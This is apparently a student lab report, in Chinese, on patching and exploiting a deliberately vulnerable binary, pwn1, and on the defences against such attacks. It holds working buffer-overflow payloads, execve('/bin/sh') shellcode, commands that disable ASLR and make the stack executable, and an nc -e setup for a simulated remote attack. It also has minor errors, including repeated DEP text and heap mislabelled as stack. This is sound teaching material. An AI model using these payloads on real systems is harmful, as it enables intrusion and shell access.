1 逆向及Bof基础实践说明
1.1 实践目标
本次实践使用的是kali系统本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.以及注入运行任意代码。
1.2 基础知识
熟悉Linux基本操作能看懂常用指令,如管道(|),输入、输出重定向(>)等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
当然,如果还不懂,通过这个过程能对以上概念有了更进一步的理解就更好了。
--
指令、参数
一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
操作成功不重要,照着敲入指令肯定会成功。
重要的是理解思路。
看指导理解思路,然后抛开指导自己做。
碰到问题才能学到知识。
具体的指令可以回到指导中查。
2 直接修改程序机器指令,改变程序执行流程
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF文件格式,掌握动态技术
首先在云班课资源中下载PWN1并将其复制到kali虚拟机上
在桌面右键点击在这里打开终端,输入命令objdump -d pwn1 | more进行反汇编
可以看到指令地址、机器指令及汇编指令
在地址80484b5处可以看到,主函数main执行了一次函数调用,对应的汇编指令为call 8048491 <foo>,意为调用位于地址8048491处的foo函数。
本条call指令前面显示为其对应的机器指令为e8 d7 ff ff ff,e8在机器指令中意为跳转,当本条指令执行时,机器会将后面的相对地址d7 ff ff ff加上eip寄存器中的值,得到的就是下一条应该跳转到的指令的地址,此处的d7 ff ff ff为补码,对应十进制的-41,下一条应该跳转的地址为EIP+d7ffffff=80484ba-0x29=8048491,正对应上面汇编指令call中的物理地址8048491处的foo函数。
实践中要求通过直接修改机器指令使得getshell函数被调用,在这里我们可以通过修改主函数通过call指令调用foo函数处的机器指令e8 d7 ff ff ff为getShell函数所在地址减去80484ba对应的补码就可以将主函数调用foo函数改为调用etshell函数。
在反汇编页面继续下滑,可以看到getshell函数对应的地址为0804847d
将0804847d减去80484ba得到补码c3ffffff,使其替换d7ffffff即可。
复制PWN1到PWN2,在终端使用vi打开PWN2进行机器指令的修改,修改步骤如下:
1.按esc键之后输入%!xxd将显示模式改为16进制
2.输入/f0e8查找到机器指令e8 d7 ff ff ff
3.输入i进入insert模式,将d7改为c3
4.输入指令%!xxd -r转换显示格式16进制为原格式,这样保存修改后程序才能正常运行。
5.输入WQ存盘退出。
在修改完毕之后再次对PWN2使用反汇编指令可以看到主函数的call指令函数调用确实由之前的调用foo函数变为了调用getshell函数。
在终端使用./pwn2时提示运行失败,右键点击pwn2文件设置权限为允许作为程序运行
在命令行中重新运行pwn2,输入指令ls,程序pwn2可以正常运行,成功通过直接修改机器指令实现对程序调用函数的改变
3 通过构造输入参数,造成BOF攻击,改变程序执行流
知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术3.1 反汇编,了解程序的基本功能
首先使用反汇编命令objdump -d pwn1 | more将代码进行反汇编来到foo函数,通过汇编指令lea -0x1c(%ebp),%eax可以发现foo函数存在缓冲区漏洞,即每次系统只预留28字节的缓冲区空间,此时如果我们想办法输入过长的数据,使得超出部分覆盖了原本的返回地址,并且使得覆盖的新数据恰好为函数getshell的地址,这样就能成功使得程序调用getshell函数。3.2 确认输入字符串哪几个字符会覆盖到返回地址
运行这步时需检查自己的虚拟机是否有安装gdb,在终端中输入gdb -v即可输入命令之后提示虚拟机没有安装GDB,在终端中进入管理员模式,输入以下命令进行GDB的安装:sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
apt-get update
apt-get install gdb
输入完毕后稍等片刻完成GDB安装,再次输入gdb -v显示版本号即为安装成功:
接下来开始测试输入一个较长的字符串用于找出输入的哪些部分可以覆盖返回地址:
首先进入root模式,输入gdb pwn1进入调试模式,输入r开始调试:
输入一串长数字1111111122222222333333334444444412345678,输入完毕后输入info r查看eip寄存器的值:
可以看出此时eip的值为0x34333231,正好对应1234的倒序的ASC码,所以输入数字的第24位至28位可以覆盖返回地址,所以令输入的第24位至28位对应函数getshell的地址即可让程序调用函数getshell
通过反汇编可以看到getshell的地址为0804847d,根据之前eip的值是数字1234的逆序的ASC码可以得出,此时输入11111111222222223333333344444444\x7d\x84\x04\x08即可将getshell的地址覆盖到程序的返回地址中。
3.4 构造输入字符串
因为我们无法直接通过键盘输入\x7d\x84\x04\x08这样的十六进制字符串,所以我们需要将字符串11111111222222223333333344444444\x7d\x84\x04\x08作为一个文件,然后将其作为pwn1的输入即可完成十六进制字符串的录入。首先输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将字符串存储到文件“input”中:
然后使用命令xxd input以十六进制的形式查看文件input,可以看到成功将十六进制字符串以文件形式存储:
然后将input的输入,通过管道符“|”,作为pwn1的输入。
输入完毕之后程序开始运行,此时输入ls发现成功列出了当前目录下所有文件,说明成功使用输入构造过的过长字符串覆盖返回地址成功使得程序调用函数getshell。
4. 注入Shellcode并执行
4.1 准备一段Shellcode
shellcode就是一段机器指令(code)通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
本实验以以下shellcode为例:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
首先需要安装prelink软件包以执行execstack命令用于对程序的堆栈进行设置:根据班课资源提示步骤进行解压及安装配置:
配置完毕之后先通过execstack -s pwn1指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行
显示X pwn1即为堆栈可执行。
接下来使用如下指令来关闭地址随机化:
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
4.3 构造要注入的payload
根据实验指导书提示:
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
所以就是看shellcode是在缓冲区的前面还是在缓冲区的后面
这里进行尝试的结构为:anything+retaddr+nops+shellcode。
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址,这样就能通过覆盖返回地址的值执行shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1
注意:输入该代码后回车一次即可,无需多次回车至出现������1�Ph//shh/bin��PS��1Ұ字样,因为出现该字样后在前往另外一个终端时会无法attach上该进程。
再开另外一个终端,用gdb来调试pwn1这个进程。
首先使用指令ps -ef | grep pwn1找到pwn1的进程号为27215,随后启动gdb进行调试。
先输入指令attach 27215来联系上该进程
使用指令disassemble foo设置断点,这里看到ret指令处的地址为0x080484ae,使用指令break *0x080484ae 设置断点,输入c继续运行
注意在输入c(即continue那一步)时,先应返回原本进程输入一个回车!
在这里可以看到esp的地址为0xffffd54c,所以跳转到0xffffd54c
跳转后可以看到我们之前注入的shellcode中用于覆盖返回地址的部分1234:
结合结构anything+retaddr+nops+shellcode,将1234位置的地址加上4字节(shellcode挨在缓冲
区的后面)即可得到shellcode的地址0xffffd550,所以将0xffffd550替换1234,便可令shellcode的地址覆盖ret返回地址,所以此处输入的shellcode应为:
perl -e 'print "A" x 32;print "\x50\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入shellcode之后输入pwn1,执行后输入ls成功列出当前目录下所有文件,成功通过注入
shellcode覆盖返回地址从而执行shellcode:
4.5 结合nc模拟远程攻击
本例中是在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。
首先输入指令sudo ifconfig查看本机的ip地址 127.0.0.1,(这里要在ifconfig的前面加上sudo,不然会提示找不到该命令。
输入指令nc -l 127.0.0.1 -p 28234 -e ./pwn1 模拟一个有漏洞的网络服务:
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
这么做的目的在于将主机1设置成为服务器,也就是被攻击机
主机2,连接主机1并发送攻击载荷:
打开第三个终端按照之前的步骤进行单步调试并查看esp寄存器的值
找到esp寄存器的值,跳转之后找到1234处的地址,计算得出shellcode的地址为ddddd550
回到终端重新进行注入,使用xxd查看shellcode的值:
5 Bof攻击防御技术
5.1. 从防止注入的角度。
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
5.2. 注入了也不让运行。
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
通过execstack -s pwn1 来设置堆栈可执行
通过execstack -q pwn1 来查询文件的堆栈是否可执行
5.3. 增加shellcode的构造难度。
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
5.4 从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
6 实验感想
通过本次实验我成功实现了直接通过修改可执行文件中的机器指令,从而达成对程序执行流程的改变,令其由原来的foo函数改为对getshell函数的调用。通过对这个过程的实践,我学会了如何使用odjdump来对一个可执行文件进行反汇编,并且重新熟悉了反汇编结果中的地址、机器指令、汇编指令的结构及其大致用途,在直接修改可执行文件的操作中让我印象比较深的是call指令对应的机器指令是如何实现汇编语言的功能的,e8即为跳转之意,而后面是相对地址的补码,只用eip的值减去后面的相对地址才能得到要跳转的地址,从而完成跳转,在这个过程中我也了解了机器指令是如何实现汇编指令的。除此之外,我还学会了使用%!xxd命令在vi编辑器中以16进制的形式打开可执行文件,从而完成对可执行文件的修改。
在通过构造输入参数,造成BOF攻击,改变程序执行流的实践中,我再次复习并成功实现了通过缓冲区溢出攻击覆盖程序返回地址从而调用函数getshell,即首先通过反汇编查看可执行文件得到程序预留的缓冲区的长度,然后构造一个过长的输入字符串,输入后通过gdb调试来看到输入字符串的哪些位置覆盖了返回地址,将其替换为getshell函数的地址即可完成对getshell函数的调用。在这一系列操作中我学会了如何在虚拟机系统的命令行中使用gdb进行调试,并且通过指令info r来看到当前操作下每个寄存器的值,这对于我们预先调试可执行文件并作出攻击的操作至关重要。同时在构造字符串时,我还学会了使用perl来将16进制输入串保存到一个文件里再将文件输入到程序中(键盘无法输入16进制字符串,所以需要perl将字符串保存到一个文件中)
在注入shellcode的实践中,我了解到了Linux下有两种基本构造攻击的方法:retaddr+nop+shellcode nop+shellcode+retaddr,这里的nops为滑行区,shellcode在注入之后不是在缓冲区的前面就是自缓冲区的后面,通过查看esp寄存器的值,在使用x/16x命令跳转到相应区域后,加上之前注入的shellcode的末尾部分字节长度即为注入的shellcode地址,然后重新注入shellcode,并将其替换为shellcode的地址,成功完成了通过注入shellcode并使其地址覆盖到返回地址从而完成对shellcode的调用。在上述操作中我熟悉了在kali系统中如何查看当前在运行中的进程以及进程号,并在gdb调试中以attach + 进程号的形式成功在另外一个终端中调试进程。
在结合nc模拟远程攻击的实践中,我学会了如何使用nc命令来模拟一个有网络漏洞的服务器(靶机),并且使用cat指令进行shellcode的注入,并且结合第三个终端来单步调试查看esp的值,最后成功实现对一个有网络漏洞的服务器的shellcode注入。
在第五部分对bof攻击防御技术的学习中,我学会了如何使用execstack命令来设置堆栈不可执行,这样即使成功注入了shellcode也无法执行,同时也可以使用内存地址随机化的机制来使得每次内存中堆栈的地址都会随机变化,这样实验中预先调试可执行文件得到堆栈地址并以此为基础准备攻击的方式便不奏效了,是很实用的bof攻击防御技术。